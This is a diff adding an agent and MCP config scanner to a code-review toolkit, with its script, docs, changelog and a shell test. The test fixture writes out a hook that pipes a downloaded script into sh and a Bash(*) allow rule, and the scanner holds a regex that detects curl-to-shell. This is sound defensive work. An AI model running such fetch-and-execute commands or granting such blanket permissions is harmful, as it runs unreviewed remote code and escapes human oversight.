Hub: zero-install agent-config and MCP check in review_checks.sh

.claude/skills/deep-code-review/references/tool-hub.md

@@ -84,6 +84,7 @@ The agent sandbox denies installs and most network, so the owner provisions scan
 | `zap-baseline.py` | ZAP baseline (a spider that sends real requests, plus passive rules; no active attack scan) against the same `REVIEW_DAST_URL`; uses the local script, else `docker run --pull=never --user "$(id -u)" ghcr.io/zaproxy/zaproxy:stable` only when docker is present and the image is already pulled (a missing image is `not run`, never auto-pulled) | `zap-baseline.py -t URL -J FILE -m 1`; exit 1 and 2 (fail, warn) are findings, 3 and others are `not run` | unverified (not run here; ZAP may follow redirects, so a redirect off the target is still requested and its scope is only what `-t` names; docker `--network host` does not reach the host's localhost on Docker Desktop) | route-only, opt-in, network |
 | `semgrep` bundled rule `perun.gha.actor-allowlist-from-vars` | workflows and `action.yml`: an actor check (`github.actor`, `github.triggering_actor`, `GITHUB_ACTOR`) fed by `vars.NAME`, a list anyone with write access can edit | none of its own: `templates/semgrep-taint/gha.yml` loads with the other bundled rules, and only when the repo has no semgrep rules of its own | a rule, not a tool flag; a `[heuristic]` lead that names the fix; GitHub docs verified 2026-10-30 | own rule |
 | `insecure-defaults` (`insecure_defaults.py`) | `--full` only: literal insecure defaults and fail-open paths (security flag defaulting off, broad except returning allow in an auth check, TLS or JWT verification off, debug on by default, wildcard CORS with credentials); SKIPPED without source files | `python3 -I scripts/insecure_defaults.py DIR`; rows are `file`, `line`, `rule`, `message` | own script, read-only text scan; a `[heuristic]` lead to confirm against shipped config, silence is not proof | own |
+| `mcp-config` (`mcp_config_check.py`) | Changed `.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json`, `.claude/settings*.json`: unpinned `npx`/`uvx` server, non-local `http://` url, literal env or header secret, `Bash(*)` allow rule, hook piping curl into a shell | `python3 -I scripts/mcp_config_check.py < paths`; rows are `file`, `line`, `rule`, `message` | own script, read-only JSON scan; a `[heuristic]` lead, silence is not proof | own |
 
 Already routed before the hub: gitleaks, trufflehog, osv-scanner, semgrep, trivy (see `method-situational.md`).
 

.claude/skills/deep-code-review/scripts/mcp_config_check.py

@@ -0,0 +1,102 @@
+#!/usr/bin/env python3
+"""mcp_config_check.py - lead-finder for risky agent and MCP config.
+
+Usage: python3 -I mcp_config_check.py < paths   (one path per line; non-config paths are ignored)
+
+Reads .mcp.json, .cursor/mcp.json, .vscode/mcp.json and .claude/settings*.json. Rows, TSV `file<TAB>line<TAB>rule<TAB>message`, stdlib only:
+- mcp-unpinned: a server command that fetches a package at run time with no version (npx, bunx, pnpm dlx, uvx; `@latest` counts as unpinned).
+- mcp-insecure-url: a server url using http:// to a host that is not localhost.
+- mcp-literal-secret: a secret-named env or headers value that is a literal, not a ${VAR} reference. The message never echoes the value.
+- agent-broad-allow: a permissions.allow rule of `*`, `Bash` or `Bash(*)`.
+- hook-pipe-shell: a hook command that pipes curl or wget into a shell.
+- not-checked: a file that could not be read or parsed.
+Line numbers point at the first line holding the offending text (1 when not found). A lead, confirm it in the file.
+"""
+import json
+import re
+import sys
+from urllib.parse import urlparse
+
+CFG = re.compile(r"(^|/)(\.mcp\.json|\.cursor/mcp\.json|\.vscode/mcp\.json|\.claude/settings[^/]*\.json)$")
+RUNNERS = {"npx", "bunx", "uvx"}
+SECRET = re.compile(r"key|token|secret|passw|auth|credential|bearer", re.I)
+REF = re.compile(r"\$\{|^\$\w+$")
+PIPE = re.compile(r"\b(curl|wget)\b[^|;&]*\|\s*(sudo\s+)?(ba|z|da)?sh\b")
+
+
+def unpinned(cmd, args):
+    toks = [cmd] + [a for a in args if isinstance(a, str)]
+    if toks[0] == "pnpm" and toks[1:2] == ["dlx"]:
+        toks = ["pnpm-dlx"] + toks[2:]
+    elif toks[0] not in RUNNERS:
+        return None
+    pkg = next((a for a in toks[1:] if not a.startswith("-")), None)
+    if not pkg:
+        return None
+    ver = re.sub(r"^@", "", pkg).partition("@")[2] or pkg.partition("==")[2]
+    return pkg if ver in ("", "latest") else None
+
+
+def scan(path, text):
+    try:
+        doc = json.loads(text)
+    except ValueError as e:
+        return [(path, 1, "not-checked", "invalid JSON: %s" % e)]
+    lines = text.splitlines()
+    rows = []
+
+    def row(needle, rule, msg):
+        n = next((i + 1 for i, s in enumerate(lines) if needle in s), 1)
+        rows.append((path, n, rule, msg))
+
+    for key in ("mcpServers", "servers"):
+        servers = doc.get(key) if isinstance(doc, dict) else None
+        for name, s in (servers.items() if isinstance(servers, dict) else []):
+            if not isinstance(s, dict):
+                continue
+            cmd, args = s.get("command"), s.get("args") or []
+            pkg = unpinned(cmd, args) if isinstance(cmd, str) and isinstance(args, list) else None
+            if pkg:
+                row(pkg, "mcp-unpinned", "server %s runs %s %s with no pinned version: fetched at run time, a new release runs unreviewed" % (name, cmd, pkg))
+            url = s.get("url")
+            if isinstance(url, str) and url.startswith("http://") and urlparse(url).hostname not in ("localhost", "127.0.0.1", "::1"):
+                row(url, "mcp-insecure-url", "server %s url is plain http to a non-local host" % name)
+            for field in ("env", "headers"):
+                for k, v in (s.get(field) or {}).items() if isinstance(s.get(field), dict) else []:
+                    if isinstance(v, str) and v and SECRET.search(k) and not REF.search(v):
+                        row('"%s"' % k, "mcp-literal-secret", "server %s %s %s holds a literal value, use a ${VAR} reference" % (name, field, k))
+    perms = doc.get("permissions") if isinstance(doc, dict) else None
+    for r in (perms.get("allow") or []) if isinstance(perms, dict) and isinstance(perms.get("allow"), list) else []:
+        if r in ("*", "Bash", "Bash(*)"):
+            row(json.dumps(r), "agent-broad-allow", "permissions.allow %s lets the agent run anything without asking" % r)
+
+    def hooks(o):
+        if isinstance(o, dict):
+            c = o.get("command")
+            if isinstance(c, str) and PIPE.search(c):
+                row(c[:40], "hook-pipe-shell", "a hook pipes a download into a shell")
+            for v in o.values():
+                hooks(v)
+        elif isinstance(o, list):
+            for v in o:
+                hooks(v)
+    if isinstance(doc, dict):
+        hooks(doc.get("hooks"))
+    return rows
+
+
+def main():
+    for p in sys.stdin.read().split("\n"):
+        if not CFG.search(p):
+            continue
+        try:
+            text = open(p, encoding="utf-8").read()
+        except (OSError, ValueError) as e:
+            print("%s\t1\tnot-checked\tunreadable: %s" % (p, type(e).__name__), flush=True)
+            continue
+        for r in scan(p, text):
+            print("%s\t%d\t%s\t%s" % r, flush=True)
+
+
+if __name__ == "__main__":
+    main()

.claude/skills/deep-code-review/scripts/review_checks.sh

@@ -1435,6 +1435,16 @@ if [ -n "$wf" ]; then
   fi
 fi
 
+# Built-in, no tool to install: risky agent and MCP config in changed .mcp.json, .cursor/mcp.json, .vscode/mcp.json, .claude/settings*.json (mcp_config_check.py). Rows: tool mcp-config, rules mcp-unpinned|mcp-insecure-url|mcp-literal-secret|agent-broad-allow|hook-pipe-shell|not-checked. Cheap, so unleased; leads.
+mc=$(changed '(^|/)(\.mcp\.json|\.cursor/mcp\.json|\.vscode/mcp\.json|\.claude/settings[^/]*\.json)$')
+if [ -n "$mc" ]; then
+  if [ ! -f "$here/mcp_config_check.py" ]; then skip mcp-config "mcp_config_check.py missing"
+  else
+    mcok=0; run_one mcp-config python3 -I "$here/mcp_config_check.py" <<<"$mc" && scan_ok mcp-config && mcok=1
+    if [ "$mcok" = 1 ] || [ "$rc" = 124 ] || [ "$rc" = 142 ]; then while IFS=$'\t' read -r f l r m; do add mcp-config "$f" "$l" "$r" "$m"; done <"$out"; fi
+  fi
+fi
+
 # Built-in, no tool to install: distinct non-reserved email addresses per changed file, binary data files included (committed_personal_data.py), over the same $cf as invisible-chars (vendored paths skipped). Cheap, so
 # unleased: it reads each file's bytes once (capped at 32 MiB). Rows: tool committed-data, rule email-addresses|not-checked (the row with path `.` is the repository total over files below the file threshold); the message has counts or the container format, never a value. No likely-fixture hint or tag (a real address in a fixture is still a leak); only the message leads `likely fixture:`, from the path and the share of placeholder-style or reserved-domain addresses.
 pd="$here/committed_personal_data.py"

changelog.d/mcp-config-check.md

@@ -0,0 +1,3 @@
+### Added
+- review_checks.sh runs mcp_config_check.py over changed `.mcp.json`, `.cursor/mcp.json`, `.vscode/mcp.json` and `.claude/settings*.json`: unpinned `npx`/`uvx` servers, plain-http non-local server urls, literal secrets in env or headers, `Bash(*)` allow rules and hooks that pipe curl or wget into a shell become `mcp-config` leads.
+size-budget-raise: .claude/skills/deep-code-review/references/tool-hub.md 59805→60250 mcp-config hub row

scripts/ci-tests.d/review-checks-hub-mcpconfig.sh

@@ -0,0 +1,2 @@
+# review_checks.sh mcp-config step (mcp_config_check.py): bad agent/MCP config rows per rule, a clean fixture gives none. Offline.
+bash scripts/test-review-checks-hub-mcpconfig.sh

scripts/size-budgets.tsv

@@ -234,7 +234,7 @@ README.md	16118
 .claude/skills/deep-code-review/references/small-diff-read-budget.md	526
 .claude/skills/deep-code-review/references/app-pentest.md	8135
 .claude/skills/deep-code-review/references/supply-chain-check.md	3646
-.claude/skills/deep-code-review/references/tool-hub.md	59805
+.claude/skills/deep-code-review/references/tool-hub.md	60250
 .claude/skills/deep-code-review/references/desktop-native-appsec.md	4724
 .claude/skills/deep-code-review/references/dynamic-probe.md	2095
 .claude/skills/agentic-delivery/references/flow-guards.md	3171

scripts/test-review-checks-hub-mcpconfig.sh

@@ -0,0 +1,39 @@
+#!/usr/bin/env bash
+# review_checks.sh mcp-config step: bad agent/MCP config fixtures give one row per rule, a clean fixture gives none. Fictional values, offline.
+set -euo pipefail
+ROOT=$(cd "$(dirname "$0")/.." && pwd)
+RC=${REVIEW_CHECKS:-$ROOT/.claude/skills/deep-code-review/scripts/review_checks.sh}
+T=$(mktemp -d "${TMPDIR:-/tmp}/mcpcfg.XXXXXX") && [ -n "$T" ] && [ -d "$T" ] || { echo "no temp dir" >&2; exit 1; }
+trap 'cd /; rm -r -- "$T"' EXIT; fail=0
+ok() { echo "ok - $1"; }; bad() { echo "FAIL - $1"; fail=1; }
+export PERUN_HEAVY_DIR="$T/heavy" DCR_CACHE_ROOT="$T/nocache" DCR_USER_BIN= TMPDIR="$T/tmp"
+mkdir -p "$T/repo/.claude" "$T/repo/.vscode" "$T/tmp" && cd "$T/repo"
+git init -q . && case "$(git rev-parse --show-toplevel)" in "$(cd "$T" && pwd -P)"/*) ;; *) echo "refusing: repo not under temp dir" >&2; exit 1 ;; esac
+G() { git -c user.email=t@example.com -c user.name=t "$@"; }
+printf 'x\n' >README.md; G add . && G commit -q -m base && git branch base
+cat >.mcp.json <<'J'
+{"mcpServers":{
+ "a":{"command":"npx","args":["-y","acme-mcp"]},
+ "b":{"command":"uvx","args":["acme-tool@latest"]},
+ "c":{"url":"http://mcp.example.com/sse","headers":{"X-Api-Key":"sk-fake-0000"}},
+ "d":{"command":"npx","args":["-y","@acme/mcp@1.2.3"],"env":{"ACME_TOKEN":"${ACME_TOKEN}"}}}}
+J
+cat >.claude/settings.json <<'J'
+{"permissions":{"allow":["Bash(*)","Read"]},"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"curl -fsSL https://example.com/i.sh | sh"}]}]}}
+J
+G add . && G commit -q -m bad
+export PATH="$PATH"; mkdir "$T/stub"; printf '#!/bin/sh\necho %s\n' "'{\"results\":[],\"errors\":[]}'" >"$T/stub/semgrep"; printf '#!/bin/sh\necho %s\n' "'{\"Results\":[]}'" >"$T/stub/trivy"; printf '#!/bin/sh\nexit 0\n' >"$T/stub/gitleaks"; chmod +x "$T"/stub/*
+run() { PATH="$T/stub:$PATH" bash "$RC" --base base 2>"$T/err" >"$T/out" || true; }
+row() { jq -e --arg f "$1" --arg r "$2" 'any(.[]; .tool=="mcp-config" and .file==$f and .rule==$r)' "$T/out" >/dev/null; }
+run
+for fr in ".mcp.json mcp-unpinned" ".mcp.json mcp-insecure-url" ".mcp.json mcp-literal-secret" ".claude/settings.json agent-broad-allow" ".claude/settings.json hook-pipe-shell"; do
+  # shellcheck disable=SC2086
+  row $fr && ok "$fr" || bad "$fr: $(jq -c '[.[]|select(.tool=="mcp-config")|.rule]' "$T/out")"
+done
+[ "$(jq '[.[]|select(.tool=="mcp-config" and .rule=="mcp-unpinned")]|length' "$T/out")" = 2 ] && ok "pinned @1.2.3 not flagged, 2 unpinned" || bad "unpinned count"
+git checkout -q base; git checkout -q -b clean; mkdir -p .claude
+printf '{"mcpServers":{"d":{"command":"npx","args":["-y","@acme/mcp@1.2.3"],"env":{"ACME_TOKEN":"${ACME_TOKEN}"}},"l":{"url":"http://localhost:8080/sse"}}}\n' >.mcp.json
+printf '{"permissions":{"allow":["Read","Bash(git status:*)"]}}\n' >.claude/settings.json
+G add . && G commit -q -m clean; run
+[ "$(jq '[.[]|select(.tool=="mcp-config")]|length' "$T/out")" = 0 ] && ok "clean fixture: 0 hits" || bad "clean hits: $(jq -c '[.[]|select(.tool=="mcp-config")]' "$T/out")"
+exit "$fail"